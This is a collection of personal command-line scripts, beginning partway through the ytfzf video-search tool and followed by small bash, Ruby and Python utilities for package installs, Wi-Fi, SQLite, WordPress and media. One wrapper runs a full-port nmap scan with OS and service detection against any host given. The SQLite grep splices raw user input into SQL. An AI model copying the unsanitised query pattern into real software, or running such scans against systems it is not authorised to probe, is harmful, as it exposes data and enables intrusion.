jq '.[]' < "$video_json_file" | jq -s -r --arg N "$scripting_video_count" '.[0:$N|tonumber]|.[]|.ID' > "$selected_id_file" } # }}} # Text interface {{{ interface_text () { dep_check "fzf" || die 3 "fzf not installed, cannot use the default menu\n" [ $show_thumbnails -eq 1 ] && { interface_thumbnails "$@"; return; } video_json_file=$1 selected_id_file=$2 # video_info_text can be set in the conf.sh, if set it will be preferred over the default given below TTY_COLS=$(tput cols) title_len=$((TTY_COLS/2)) channel_len=$((TTY_COLS/5)) dur_len=7 view_len=10 date_len=100 jq -r '.[]|"\(.title)\t|\(.channel)\t|\(.duration)\t|\(.views)\t|\(.date)\t|\(.url)"' < "$video_json_file" | sort_video_data_fn | while IFS=$tab_space read title channel duration views date url do video_info_text done | column -t -s "$tab_space" | fzf -m --tabstop=1 --layout=reverse --expect="$shortcut_binds" | set_keypress | trim_url > "$selected_id_file" handle_keypress < "$keypress_file" } #}}} # External interface {{{ interface_ext () { video_json_file=$1 selected_id_file=$2 # video_info_text can be set in the conf.sh, if set it will be preferred over the default given below TTY_COLS=$external_menu_len title_len=$((TTY_COLS/2)) channel_len=$((TTY_COLS/5)) dur_len=7 view_len=10 date_len=100 jq -r '.[]|"\(.title)\t|\(.channel)\t|\(.duration)\t|\(.views)\t|\(.date)\t|\(.url)"' < "$video_json_file" | sort_video_data_fn | while IFS=$tab_space read title channel duration views date url do video_info_text done | tr -d "$tab_space" | external_menu "Select video: " | trim_url > "$selected_id_file" } #}}} # Thumbnail Interface {{{ # Image preview {{{ preview_start () { thumbnail_viewer=$1 case $thumbnail_viewer in ueberzug) # starts uberzug to this fifo UEBERZUG_FIFO="$session_temp_dir/ytfzf-ueberzug-fifo" rm -f "$UEBERZUG_FIFO" mkfifo "$UEBERZUG_FIFO" ueberzug layer --parser simple < "$UEBERZUG_FIFO" 2>/dev/null & exec 3> "$UEBERZUG_FIFO" # to keep the fifo open ;; chafa|chafa-16|chafa-tty|catimg|catimg-256|display|kitty|w3m) : ;; *) "$thumbnail_viewer" "start" "$FZF_PREVIEW_COLUMNS" "$FZF_PREVIEW_LINES" 2>/dev/null ;; esac } preview_stop () { thumbnail_viewer=$1 case $thumbnail_viewer in ueberzug) exec 3>&- # close file descriptor 3, closing ueberzug ;; chafa|chafa-16|chafa-tty|catimg|catimg-256|display|kitty|w3m) : ;; *) "$thumbnail_viewer" "stop" "$FZF_PREVIEW_COLUMNS" "$FZF_PREVIEW_LINES" 2>/dev/null ;; esac } # ueberzug positioning{{{ function_exists "get_ueberzug_positioning_left" || get_ueberzug_positioning_left (){ width=$1 height=$(($2-10)) x=2 y=10 } function_exists "get_ueberzug_positioning_right" || get_ueberzug_positioning_right (){ width=$1 height=$(($2-10)) x=$(($1+6)) y=10 } function_exists "get_ueberzug_positioning_up" || get_ueberzug_positioning_up (){ width=$1 height=$(($2-10)) x=2 y=9 } function_exists "get_ueberzug_positioning_down" || get_ueberzug_positioning_down (){ width=$1 height=$(($2-10)) #$2*2 goes to the bottom subtracts height, adds padding y=$(($2*2-height+2)) x=2 } get_ueberzug_positioning () { max_width=$1 max_height=$2 side=$3 case "$fzf_preview_side" in left) get_ueberzug_positioning_left "$max_width" "$max_height" ;; right) get_ueberzug_positioning_right "$max_width" "$max_height" ;; up) get_ueberzug_positioning_up "$max_width" "$max_height" ;; down) get_ueberzug_positioning_down "$max_width" "$max_height" ;; esac } #}}} preview_display_image () { thumbnail_viewer=$1 id=$2 case $thumbnail_viewer in ueberzug) get_ueberzug_positioning "$FZF_PREVIEW_COLUMNS" "$FZF_PREVIEW_LINES" "$fzf_preview_side" dep_check "ueberzug" || die 3 "ueberzug is not installed\n" printf '%s\t' \ 'action' 'add' \ 'identifier' 'ytfzf' \ 'path' "$thumb_dir/${id}.jpg" \ 'x' "$x" \ 'y' "$y" \ 'scaler' 'fit_contain' \ 'width' "$width" > "$UEBERZUG_FIFO" printf '%s\t%s\n' \ 'height' "$height" > "$UEBERZUG_FIFO" ;; chafa) printf '\n' dep_check "chafa" || die 3 "\nchafa is not installed\n" chafa -s "$((FZF_PREVIEW_COLUMNS-2))x$((FZF_PREVIEW_LINES-10))" "$thumb_dir/${id}.jpg" ;; chafa-16) printf '\n' dep_check "chafa" || die 3 "\nchafa is not installed\n" chafa -c 240 -s "$((FZF_PREVIEW_COLUMNS-2))x$((FZF_PREVIEW_LINES-10))" "$thumb_dir/${id}.jpg" ;; chafa-tty) printf '\n' dep_check "chafa" || die 3 "\nchafa is not installed\n" chafa -c 16 -s "$((FZF_PREVIEW_COLUMNS-2))x$((FZF_PREVIEW_LINES-10))" "$thumb_dir/${id}.jpg" ;; catimg) printf '\n' dep_check "catimg" || die 3 "\ncatimg is not installed\n" catimg -w $((FZF_PREVIEW_COLUMNS+50)) "$thumb_dir/${id}.jpg" ;; catimg-256) printf '\n' dep_check "catimg" || die 3 "\ncatimg is not installed\n" catimg -c -w $((FZF_PREVIEW_COLUMNS+50)) "$thumb_dir/${id}.jpg" ;; display) dep_check "display" || die 3 "\nimagemagick is not installed\n" killall display display "$thumb_dir/${id}.jpg" ;; kitty) dep_check "kitty" || die 3 "\nkitty is not installed\n" get_ueberzug_positioning "$FZF_PREVIEW_COLUMNS" "$FZF_PREVIEW_LINES" "$fzf_preview_side" kitty +kitten icat --clear --transfer-mode stream kitty +kitten icat --place "${width}x${height}@${x}x${y}" --scale-up --transfer-mode stream "$thumb_dir/${id}.jpg" ;; w3m) while true; do printf "%b\n%s;\n" "0;1;10;130;$((FZF_PREVIEW_COLUMNS*5));$((FZF_PREVIEW_COLUMNS*3));;;;;$thumb_dir/${id}.jpg" 3 | $w3mimgdisplay_path done ;; *) "$thumbnail_viewer" "view" "$FZF_PREVIEW_COLUMNS" "$FZF_PREVIEW_LINES" 2>/dev/null || die 1 "$thumbnail_viewer doesn't exist\n" ;; esac } #}}} preview_img () { # This function is common to every thumbnail viewer thumbnail_viewer=$1 line=$2 video_json_file=$3 url=${line##*|} IFS=$tab_space read -r id title channel duration views date description <<-EOF $( jq -r --arg url "$url" '.[]|select( .url == $url )| [.ID,.title,.channel,.duration,.views,.date,.description]| @tsv' < "$video_json_file" ) EOF thumbnail_video_info_text preview_display_image "$thumbnail_viewer" "$id" } interface_thumbnails () { # Takes video json file and downloads the thumnails as ${ID}.png to thumb_dir video_json_file=$1 selected_id_file=$2 # Download thumbnails, only if they're not already downloaded find "$thumb_dir" -type d -empty | grep -q "$thumb_dir" && { print_info 'Fetching thumbnails...\n' curl_config_file="${session_temp_dir}/curl_config" jq -r '.[]|select(.thumbs!=null)|" url = \"\(.thumbs)\" output = \"'"$thumb_dir"'/\(.ID).jpg\""' \ < "$video_json_file" > "$curl_config_file" # curl version > 7.66.0 ( else remove -Z ) curl -Z -K "$curl_config_file" || curl -K "$curl_config_file" } preview_start "$thumbnail_viewer" # ytfzf -U preview_img ueberzug {} "$video_json_file" #fzf_preview_side will get reset if we don't pass it in jq -r '.[]|[.title,"'"$gap_space"'|"+.channel,"|"+.duration,"|"+.views,"|"+.date,"|"+.url]|@tsv' < "$video_json_file" | sort_video_data_fn | fzf -m \ --preview "__is_fzf_preview=1 fzf_preview_side='$fzf_preview_side' thumb_dir='$thumb_dir' YTFZF_PID='$YTFZF_PID' UEBERZUG_FIFO='$UEBERZUG_FIFO' $0 -U preview_img '$thumbnail_viewer' {} '$video_json_file'" \ --preview-window "$fzf_preview_side:50%:wrap" --layout=reverse --expect="$shortcut_binds" | set_keypress | trim_url > "$selected_id_file" preview_stop "$thumbnail_viewer" handle_keypress < "$keypress_file" } #}}} #}}} # Player {{{ print_requested_info () { set -f IFS=, for request in $info_to_print; do case "$request" in [Ll]|link) unset IFS; printf '%s\n' $* ;; VJ|vj|video-json) while read -r line; do jq '.[]|select(.url=="'"$line"'")' < "$video_json_file"; done < "$ytfzf_selected_urls" ;; [Jj]|json) jq < "$video_json_file" ;; [Ff]|format) printf "%s\n" "$video_pref" ;; [Rr]|raw) while read -r line; do jq -r '.[]|select(.url=="'"$line"'")|"\(.title)\t|\(.channel)\t|\(.duration)\t|\(.views)\t|\(.date)\t|\(.url)"' < "$video_json_file"; done < "$ytfzf_selected_urls" ;; esac done } submenu_handler () { final_submenu_json_file="${session_temp_dir}/submenu.json" #reset for future submenus : > "$final_submenu_json_file" printf "%s\n" '[{"title": "[BACK]", "ID": "BACK-BUTTON", "url": "back", "action": "back"}]' >> "$final_submenu_json_file" while read -r line; do #calls ytfzf to reduce code complexity __is_scrape_for_submenu=1 cache_dir="${session_cache_dir}" $0 \ -ac "$(get_key_value "$line" "type")" -IJ "$(get_key_value "$line" "search")" \ >> "$final_submenu_json_file" done <<-EOF $(printf "%s" "$_submenu_actions" | sed 1d) EOF #the hist_file thing is to prevent watch_hist from being put in $session_cache_dir set -f __is_submenu=1 hist_file="$hist_file" cache_dir="${session_cache_dir}" $0 $submenu_opts --keep-cache -cp "$final_submenu_json_file" } open_url_handler () { # isaudio, isdownload, video_pref #urls can either be passed as argument, or through pipe [ -z "$@" ] && { read -r urls set -f unset IFS set -- $urls } [ -z "$*" ] && return 0 [ $show_formats -eq 1 ] && video_pref="$(get_video_format "$1")" if [ -n "$info_to_print" ]; then print_requested_info "$@" [ $exit_on_info_to_print -eq 1 ] && exit 0 fi [ $notify_playing -eq 1 ] && handle_playing_notifications "$@" #if we provide video_pref etc as arguments, we wouldn't be able to add more as it would break every url handler function printf "%s" "$video_pref" "$is_audio_only" "$is_detach" | "$url_handler" "$@" } get_video_format(){ #the sed gets rid of random information case 1 in $is_audio_only) ${ytdl_path} -F "$1" | sed -n '4,$p' | grep 'audio only' | quick_menu_wrapper "Audio format: " | awk '{print $1}' ;; 1) printf "%s+bestaudio/best" "$(${ytdl_path} -F "$1" | sed -n '4,$p' | grep -v 'audio only' | quick_menu_wrapper "Video Format: "| awk '{print $1}')" ;; esac } format_urls () { #url file will have new lines as seperaters, make it a space while read -r url; do [ -n "$url" ] && printf "%s " "$url" done } #}}} # Options {{{ parse_opt () { opt=$1 optarg=$2 #for some reason optarg may equal opt intentionally, #this checks the unmodified optarg, which will only be equal if there is no = sign [ "$opt" = "$OPTARG" ] && optarg="" function_exists "on_opt_parse" && { on_opt_parse "$opt" "$optarg" "$OPT" "$OPTARG" || return 0; } case $opt in h|help) usage; exit 0 ;; D|external-menu) [ -z "$optarg" ] || [ $optarg -eq 1 ] && interface='ext' ;; m|audio-only) is_audio_only=${optarg:-1};; d|download) url_handler=downloader ;; f|formats) show_formats=${optarg:-1} ;; H|history) scrape="history" ;; x|history-clear) clear_hist "${optarg:-all}"; exit 0 ;; a|auto-select) [ -z "$optarg" ] || [ $optarg -eq 1 ] && interface="scripting" && is_auto_select=${optarg:-1} ;; A|select-all) [ -z "$optarg" ] || [ $optarg -eq 1 ] && interface="scripting" && is_auto_select=${optarg:-1} && scripting_video_count=100 ;; r|random-select) [ -z "$optarg" ] || [ $optarg -eq 1 ] && interface="scripting" && is_random_select=${optarg:-1} ;; n|link-count) scripting_video_count=$optarg;; l|loop) is_loop=${optarg:-1} ;; s|search-again) search_again=${optarg:-1} ;; t|show-thumbnails) show_thumbnails=${optarg:-1} ;; v|version) printf 'ytfzf: %s \n' "$YTFZF_VERSION"; exit 0;; L) info_to_print="$info_to_print,L" ;; q|search-hist) [ ! -s "$search_hist_file" ] && die 1 "You have no search history\n" initial_search="$(cat "$search_hist_file" | quick_menu_wrapper)" ;; pages) pages_to_scrape="$optarg" ;; odysee-video-count) odysee_video_search_count="$optarg" ;; interface) interface="$optarg" # if we don't check which interface, itll try to source $YTFZF_CUSTOM_INTERFACES_DIR/{ext,scripting} which won't work case "$interface" in "ext"|"scripting"|"") : ;; *) [ -n "$interface" ] && { [ -f "${YTFZF_CUSTOM_INTERFACES_DIR}/${interface}" ] && . "$YTFZF_CUSTOM_INTERFACES_DIR/$interface" || die 2 "interface: \"$interface\" does not exist\n"; } ;; esac ;; c|scrape) scrape=$optarg ;; scrape+) scrape="$scrape,$optarg" ;; scrape-) scrape="$(printf '%s' "$scrape" | sed 's/'"$optarg"'//; s/,,/,/g')" ;; I) info_to_print=$optarg ;; notify-playing) notify_playing="${optarg:-1}" ;; #long-opt exclusives sort) is_sort=${optarg:-1} ;; video-pref) video_pref=$optarg ;; detach) is_detach=${optarg:-1} ;; ytdl-opts) ytdl_opts="$optarg" ;; ytdl-path) ytdl_path="$optarg" ;; preview-side) fzf_preview_side="${optarg}"; [ -z "$fzf_preview_side" ] && die 2 "no preview side given\n" ;; thumb-viewer) if is_relative_dir "$optarg" || command -v "$optarg" > /dev/null 2>&1; then thumbnail_viewer="$optarg" else thumbnail_viewer="${YTFZF_THUMBNAIL_VIEWERS_DIR}/${optarg}" fi ;; force-youtube) yt_video_link_domain="https://www.youtube.com" ;; info-print-exit) exit_on_info_to_print="${optarg:-1}" ;; sort-by) search_sort_by="$optarg" ;; upload-date) search_upload_date="$optarg" ;; video-duration) search_video_duration=$optarg ;; type) search_result_type=$optarg ;; features) search_result_features=$optarg ;; region) search_region=$optarg ;; channel-link) _get_real_channel_link "$optarg"; exit 0 ;; disable-submenus) enable_submenus="${optarg:-0}" ;; thumbnail-quality) thumbnail_quality="$optarg" ;; url-handler) url_handler="${optarg:-multimedia_player}" ;; keep-cache) keep_cache="${optarg:-1}" ;; submenu-opts) submenu_opts="${optarg:-1}" ;; nsfw) nsfw="${optarg:-true}" ;; *) [ "$OPT" = "-" ] && print_info "$0: illegal long option -- $opt\n";; esac } while getopts "ac:dfhlmn:qrstvxADHI:LTU${long_opt_char}:" OPT; do case $OPT in U) shift $((OPTIND-1)) case $1 in preview_img) session_cache_dir=$cache_dir/$SEARCH_PREFIX-$YTFZF_PID shift preview_img "$@" ;; esac exit 0 ;; "$long_opt_char") parse_opt "${OPTARG%%=*}" "${OPTARG#*=}" ;; *) parse_opt "${OPT}" "${OPTARG}" ;; esac done shift $((OPTIND-1)) #}}} # Get search{{{ #$initial_search should be used before make_search is called #$_search should be used in make_search or after it's called and outisde of any scrapers themselves #$search should be used in a scraper: eg scrape_json_file : "${initial_search:=$*}" #}}} # files {{{ init_files (){ YTFZF_PID=$$ #$1 will be a search SEARCH_PREFIX=$(printf "%s" "$1" | tr '/' '_') #if no search is provided, use a fallback value of SCRAPE-$scrape SEARCH_PREFIX="${SEARCH_PREFIX:-SCRAPE-$scrape}" session_cache_dir="${cache_dir}/${SEARCH_PREFIX}-${YTFZF_PID}" session_temp_dir="${session_cache_dir}/tmp" thumb_dir="${session_cache_dir}/thumbnails" mkdir -p "$session_temp_dir" "$thumb_dir" ytfzf_selected_urls=$session_cache_dir/ids ytfzf_video_json_file=$session_cache_dir/videos_json keypress_file="${session_temp_dir}/menu_keypress" : > "$ytfzf_video_json_file" : > "$ytfzf_selected_urls" } # }}} #actions {{{ #actions are attached to videos/items in the menu handle_actions () { unset _submenu_actions while read -r url; do _action=$(jq -r --arg url "$url" '.[]|select(.url==$url).action' < "$ytfzf_video_json_file") case "$_action" in back*) [ $__is_submenu -eq 1 ] && exit ;; scrape*) [ $enable_submenus -eq 0 ] && continue url_handler=submenu_handler _submenu_actions="${_submenu_actions}${new_line}${_action}" ;; *) function_exists "handle_custom_action" && handle_custom_action "$_action" ;; esac done } #}}} # scraping wrappers {{{ #there are 2 sets of backup variables because of -s, total_search* gets used up in manage_multi_filters #there has to be at least 1 set of backup variables because search_sort_by=${search_sort_by%%,*} will give incorrect filters when there are 3+ filters # multi filters {{{ set_save_filters () { initial_search_sort_by="$search_sort_by" initial_search_upload_date="$search_upload_date" function_exists "set_save_custom_filters" && set_save_custom_filters } set_save_filters init_multi_filters () { search_sort_bys_left="$initial_search_sort_by" search_upload_dates_left="$initial_search_upload_date" function_exists "init_multi_custom_filters" && init_multi_custom_filters } manage_multi_filters () { #if this is empty search_sort_by will be set to empty which isn't what we want [ -n "$search_sort_bys_left" ] && { search_sort_by="${search_sort_bys_left%%,*}" search_sort_bys_left="${search_sort_bys_left#*,}" } [ -n "$search_upload_date" ] && { search_upload_date="${search_upload_dates_left%%,*}" search_sort_upload_dates_left="${search_sort_upload_dates_left#*,}" } #for custom scrapers function_exists "manage_multi_custom_filters" && manage_multi_custom_filters } #}}} handle_scrape_error () { case "$1" in 1) print_info "$curr_scrape failed to load website\n" ;; 6) print_error "Website unresponsive (do you have internet?)\n" ;; 9) print_info "$curr_scrape does not have a configuration file\n" ;; 22) case "$curr_scrape" in youtube|Y|youtube-trending|T) print_error "There was an error scraping $curr_scrape ($invidious_instance)\nTry changing invidious instances\n" ;; *) print_error "There was an error scraping $curr_scrape\n" ;; esac ;; 126) print_info "$curr_scrape does not have execute permissions\n" ;; 127) die 2 "invalid scraper: $curr_scrape\n" ;; esac } scrape_website () { scrape_type="$1" _search="$2" case $scrape_type in invidious-playlist|youtube-playlist) scrape_invidious_playlist "$_search" "$ytfzf_video_json_file" ;; history|H) scrape_history "" "$ytfzf_video_json_file" ;; playlist|p|json-file) scrape_json_file "$_search" "$ytfzf_video_json_file" ;; invidious-channel) scrape_invidious_channel "$_search" "$ytfzf_video_json_file" "channel-1" "$pages_to_scrape" ;; youtube-channel) scrape_youtube_channel "$_search" "$ytfzf_video_json_file" "channel-1" ;; youtube|Y) # youtube scrape {{{ #$i is so multiple pages can be scraped scrape_invidious_search "$_search" "$ytfzf_video_json_file" "search" "$pages_to_scrape" || return "$?" ;; # }}} youtube-trending|T) scrape_invidious_trending "$_search" "$ytfzf_video_json_file" "trending";; youtube-subscriptions|S|SI)#{{{ ! [ -f "$YTFZF_SUBSCRIPTIONS_FILE" ] && die 2 "subscriptions file doesn't exist\n" [ "$scrape_type" = "SI" ] && { channel_scraper="scrape_invidious_channel"; sleep_time=0.03; } || { channel_scraper="scrape_youtube_channel"; sleep_time=0.01; } #if _tmp_subfile does not have a unique name, weird things happen #must be _i because scrape_invidious_channel uses $i _i=0 while IFS= read channel_url || [ -n "$channel_url" ] ; do _i=$((_i+1)) { _tmp_subfile="${session_temp_dir}/channel-$_i" $channel_scraper "$channel_url" "$_tmp_subfile" "channel-$_i" < /dev/null || return "$?" jq '.[0:'"$sub_link_count"']' < "$_tmp_subfile" >> "$ytfzf_video_json_file" } & sleep $sleep_time done <<- EOF $(sed \ -e "s/#.*//" \ -e "/^[[:space:]]*$/d" \ -e "s/[[:space:]]*//g" \ "$YTFZF_SUBSCRIPTIONS_FILE" ) EOF wait ;;#}}} odysee|O) scrape_odysee "$_search" "$ytfzf_video_json_file" ;; peertube|P) scrape_peertube "$_search" "$ytfzf_video_json_file" ;; url|U) format_urls <<-EOF | open_url_handler $_search EOF exit 0 ;; *) #custom scrapers {{{ [ -f "${YTFZF_CUSTOM_SCRAPERS_DIR}/${scrape_type}" ] && . "${YTFZF_CUSTOM_SCRAPERS_DIR}/${scrape_type}" || return 127 scrape_$(printf "%s" "$scrape_type" | sed 's/-/_/g') "$_search" "$ytfzf_video_json_file" || return "$?" #}}} esac rv="$?" unset scrape_type return $rv } is_asking_for_search_necessary () { IFS="," set -f for _scr in $scrape; do printf "%s" "$scrape_search_exclude" | grep -Fqv " $_scr " && { [ "$_search" = "-" ] || [ -z "$_search" ]; } && return 0 done return 1 } handle_scraping (){ _search="$1" IFS="," set -f init_multi_filters for curr_scrape in $scrape; do manage_multi_filters function_exists "on_search" && on_search "$_search" "$curr_scrape" scrape_website "$curr_scrape" "$_search" handle_scrape_error "$?" done } #check if nothing was scraped{{{ handle_empty_scrape () { [ ! -s "$ytfzf_video_json_file" ] && die 4 "Nothing was scraped\n" #sometimes the file fils up with empty arrays, we have to check if that's the case something_was_scraped=0 while read -r line; do [ "$line" = "[]" ] && continue something_was_scraped=1 #we can break if something was scraped, otherwise we are wasting time in the loop break done < "$ytfzf_video_json_file" [ $something_was_scraped -eq 0 ] && die 4 "Nothing was scraped\n" } #}}} handle_search_history () { #search history [ $enable_search_hist -eq 1 ] && [ -n "$1" ] && [ $__is_submenu -eq 0 ] && [ $__is_fzf_preview -eq 0 ] && echo "$1" >> "$search_hist_file" } make_search () { _search="$1" #only ask for search if it's empty and scrape isn't something like S or T #this cannot be done inside handle_scraping, because otherwise init_files will get an empty search with search_again is_asking_for_search_necessary && search_prompt_menu_wrapper init_files "$_search" handle_search_history "$_search" handle_scraping "$_search" handle_empty_scrape } #}}} # Main {{{ make_search "$initial_search" while :; do #calls the interface $(printf "%s" "interface_$interface" | sed 's/-/_/g' | sed 's/^interface_$/interface_text/') "$ytfzf_video_json_file" "$ytfzf_selected_urls" handle_actions < "$ytfzf_selected_urls" [ $enable_hist -eq 1 ] && add_to_hist "$ytfzf_video_json_file" < "$ytfzf_selected_urls" format_urls < "$ytfzf_selected_urls" | open_url_handler #needs to be before loop or it'll just exit [ $search_again -eq 1 ] && { clean_up make_search "" continue } [ $is_loop -eq 0 ] || [ ! -s "$ytfzf_selected_urls" ] && break done #}}} # vim:foldmethod=marker <file_sep>#!/bin/bash sudoifnotroot nmap -sC -sV -p 0-65535 -O "$*" <file_sep>#!/bin/bash agu && exec agdu <file_sep>#!/bin/bash instmon -l `instl | grep -i $1 2>/dev/null` <file_sep>#!/bin/bash if [ "$1" == "-h" ] || [ "$1" == "--help" ]; then echo "usage: rescan [<file(s) or dir(s)...>]" exit 1 fi if [ "$1" == "" ]; then dirs="." else dirs="$@" fi echo "* rescanning $dirs" termux-media-scan -r "$dirs" <file_sep>#!/usr/bin/env ruby ######################################################## require 'epitools' gem 'slop', "~> 3.6" require 'slop' ######################################################## ######################################################## # Parse options opts = Slop.parse(help: true, strict: true) do banner "Usage: wpa-start [options]" # on "a", "along", "desc" on "s=", "ssid", "SSID" on "p=", "password", "WPA-PSK passphrase" on "i=", "interface", "Wireless interface" end args = ARGV ######################################################## unless opts.ssid? system("wifiscan") exit end unless dev = opts[:interface] devs = Path["/proc/net/dev"].each_line.drop(2).map{ |l| l.split(":").first.strip }.grep(/^w/) case devs.size when 0 puts "no network devices found!" exit 1 when 1 dev = devs.first puts "using #{dev} (because you didn't specify a network interface)" else puts "found multiple wireless devices (#{devs}); you gotta pick one" exit 1 end end puts "* connecting to #{opts[:ssid]}" conf_contents = %{ # allow frontend (e.g., wpa_cli) to be used by all users in 'wheel' group #ctrl_interface=DIR=/var/run/wpa_supplicant GROUP=wheel # # home network; allow all valid ciphers network={ ssid="#{opts[:ssid]}" scan_ssid=1 key_mgmt=WPA-PSK psk="#{opts[:password]}" } } conf = Path["/tmp/wpa_supplicant.conf"] File.write(conf, conf_contents) fork do system("wpa_supplicant", "-i#{dev}", "-c#{conf}") end sleep 15 File.unlink(conf) system("dhcpcd", "--nobackground", dev) <file_sep>#!/bin/bash function is_running { psfind $1 > /dev/null } if [ "$1" != "" ]; then # User supplied the WM to switch to WM=$1 else # Switch to the "other" WM (compiz or metacity) if is_running compiz; then WM="metacity" elif is_running metacity; then WM="compiz" else echo "No windowmanager found." fi fi case "$WM" in metacity) echo "Switching to Metacity..." metacity --replace > /dev/null 2>&1 & ;; compiz) echo "Switching to Compiz..." compiz --replace > /dev/null 2>&1 & ;; *) echo "Don't recognize $WM as a windowmanager" ;; esac <file_sep>#!/bin/bash if [ "$1" == "" ]; then LATEST_PKG="`ls -tr *.pkg.tar.{xz,gz,bz2,zst}|tail -n1`" if [ -f "$LATEST_PKG" ]; then # install it sudoifnotroot pacman -U "$LATEST_PKG" exit fi fi if [ -f "$1" ]; then sudoifnotroot pacman -U "$1" else sudoifnotroot /usr/bin/pacman -S -- "$@" fi <file_sep>#!/usr/bin/env ruby require 'epitools' require 'sequel' # # TODOs: # * Add slop and some options: # -d Dump entire database # -f Show/grep specified fields # -a Show all columns (default: show only columns with matches) # -t Show tables # # Idea: Lucene query syntax (eg: "url:butt.com whee") # def help! puts "usage: sqgrep <expr> <sqlite-files...>" exit end opts, args = ARGV.partition { |arg| arg[/^-\w$/] } expr = args.shift help! if args.empty? or opts.include? "-h" lesspipe(wrap: true) do |less| args.each do |arg| unless File.exists? arg less.puts "<12>Error: <14>#{arg} <7>not found. Skipping...".colorize next end less.puts less.puts "<7>Grepping <14>#{arg}<7>...".colorize less.puts db = Sequel.sqlite arg db.tables.each do |table_name| table = db[table_name] schema = db.schema(table_name) text_cols = schema.map { |col,opts| col if opts[:db_type] =~ /(char|blob|text)/i }.compact if text_cols.empty? less.puts "<8>* <13>#{table_name} <7>has no text columns; <12>skipping.".colorize next else less.puts "<8>* <13>#{table_name} <8>(<15>#{table.count} <7>rows<8>)".colorize end # where_expr = "(#{text_cols.join(" || ")}) LIKE '%#{expr}%'" where_expr = text_cols.map {|col| "instr(#{col}, '#{expr}')"}.join(" OR ") table.where(where_expr).each_with_index do |match, num| less.puts less.puts "<8>---------------------------------------------------------".colorize less.puts "<10>#{arg}<8>, <7>table: <11>#{table_name}<8>, <7>match #<15>#{num}".colorize less.puts "<8>---------------------------------------------------------".colorize match.each do |k,v| v = v.gsub(expr) { |m| m.bright_yellow } if v.is_a? String less.puts "#{k.to_s.cyan}: #{v}" end end end end less.puts end<file_sep>#!/usr/bin/bash sshuttle --dns -r $1 0/0 <file_sep>#!/usr/bin/env ruby require 'fileutils' require 'digest/sha2' IGNORE = %w[ .git .svn .bzr .hg CVS ] def hashtree(dir) result = nil FileUtils.cd(dir) do result = Dir["**/*"].sort.map do |path| next if IGNORE.include? path next if File.directory? path begin hash = Digest::SHA2.file(path) rescue Errno::ENOENT if File.symlink? path hash = Digest::SHA2.hexdigest(path) else next end end [hash, path] end end result end args = ARGV if args.size != 1 puts "usage: treesum [directory]" exit 1 else dir = args.first if not File.directory? dir $stderr.puts "Error: #{dir.inspect} is not a directory" exit 1 end hashes = hashtree(dir) hashes.each { |sum, path| puts "#{sum}\t#{path}" } end <file_sep>#!/usr/bin/env python2 import sys, dbus, subprocess, re METHOD_ACTIVATE, METHOD_LIST = range(2) booldict = {'true': True, 'false': False} def destrify(s): '''Attempt to turn a string into an int, float, or bool''' value = None try: i = int(s, 0) except ValueError: try: f = float(s) except ValueError: value = booldict.get(s.lower(), s) else: value = f else: value = i return value # Getting root window ID try: rootwin = subprocess.Popen(['xwininfo', '-root'], stdout=subprocess.PIPE, stderr=subprocess.PIPE).communicate()[0] except OSError: raise SystemExit('Error: xwininfo not present') try: rootwin_id = int(rootwin.split()[3], 0) except IndexError: raise SystemExit('Error: unexpectedly short output from xwininfo') except ValueError: raise SystemExit('Error: unable to convert "%s" to int', rootwin.split()[3]) # dbus call setup service = interface = 'org.freedesktop.compiz' session_bus = dbus.SessionBus() def list_methods(plugin=None): if plugin: proxy = session_bus.get_object( service, '/org/freedesktop/compiz/%s/allscreens' % plugin ) obj = dbus.Interface(proxy, interface) try: return obj.list() except: return [] else: proxy = session_bus.get_object( service, "/org/freedesktop/compiz" ) xml = proxy.Introspect() return re.findall(r'node name="([^"]+)"', xml) def action(plugin, action_name): print "METHOD ACTIVATE: %s / %s" % [ plugin, action_name ] proxy = session_bus.get_object( service, '/org/freedesktop/compiz/%s/allscreens/%s' %(plugin, action_name)) obj = dbus.Interface(proxy, interface) obj.activate(*args) def list_all(): for plugin in list_methods(): methods = list_methods(plugin) if methods: print "* %s" % plugin for method in methods: print " |_ %s" % method else: print "* %s (no methods)" % plugin if __name__ == '__main__': # Argument parsing if len(sys.argv) < 3: if len(sys.argv) == 2: method = METHOD_LIST else: #list_methods() list_all() sys.exit(0) else: method = METHOD_ACTIVATE plugin = sys.argv[1] if method == METHOD_ACTIVATE: action = sys.argv[2] args = ['root', rootwin_id] extra_len = len(sys.argv[3:]) if extra_len >= 2 and extra_len % 2 == 0: for k, v in zip(sys.argv[3::2], sys.argv[4::2]): args.append(k) args.append(destrify(v)) # D-Bus call if method == METHOD_ACTIVATE: action(plugin, action) elif method == METHOD_LIST: list_methods(plugin) <file_sep>#!/usr/bin/env ruby require 'epitools/lcs' require 'pry' require 'sequel' class WP def mysql_connect_params @mysql_connect_params ||= begin vars = {} open("wp-config.php").each_line do |line| if line =~ %r{define\(['"]DB_(NAME|USER|PASSWORD|HOST)["'], ["']([^["']]+)["']\)} vars[$1.downcase] = $2 end end { adapter: 'mysql2', host: vars["host"], database: vars["name"], user: vars["user"], password: vars["<PASSWORD>"], } end end def db @db ||= Sequel.connect(mysql_connect_params) end def prefix @prefix ||= longest_common_prefix db.tables.map(&:to_s) end def tables db.tables.map { |name| db[name] } end def table(name) db["#{prefix}#{name}".to_sym] end def sizes tables.map { |t| [t, t.count] }.sort_by { |t, c| -c } end %w[postmeta options users].each do |table| eval %{ def #{table} @#{table} ||= table("#{table}") end } end def posts @posts ||= table("posts").order(Sequel.desc :post_modified) end def pages posts.where(post_type: "page") end def post_types posts.select(:post_type).uniq.to_a end end WP.new.pry puts "y'all come back now" <file_sep>#!/bin/bash curl -LSs "https://cht.sh/$*" | less -RX <file_sep>#!/usr/bin/env ruby require 'epitools' def audio_format(path) output = run_with_stderr("ffprobe", path).each_line do |line| p line if line =~ /Stream \S+: Audio: (\w+)/ return $1 end end nil end inputs = ARGV.map { |arg| Path.new(arg) } unless inputs.size > 0 puts "usage: ffmpeg-dump-audio <video-filename(s)>" exit end inputs.each do |infile| unless infile.exists? or infile.path[/^http/i] puts "Error: #{infile} not found." exit 1 end format = audio_format(infile) case format when "aac" ext = "m4a" when "mp3" ext = "mp3" when "vorbis" ext = "ogg" when "ac3" ext = "ac3" when "flac" ext = "flac" else puts "Unknown input audio format: #{format}" exit 2 end outfile = if infile.url? Path.new(CGI.unescape(infile.filename)).with(ext: ext) else infile.with(ext: ext) end puts "--------------------------------------------------------------------------" puts "Extracting audio:" puts " in: #{infile}" puts " out: #{outfile}" puts "--------------------------------------------------------------------------" puts system("ffmpeg", "-hide_banner", "-i", infile, "-vn", "-acodec", "copy", outfile) end 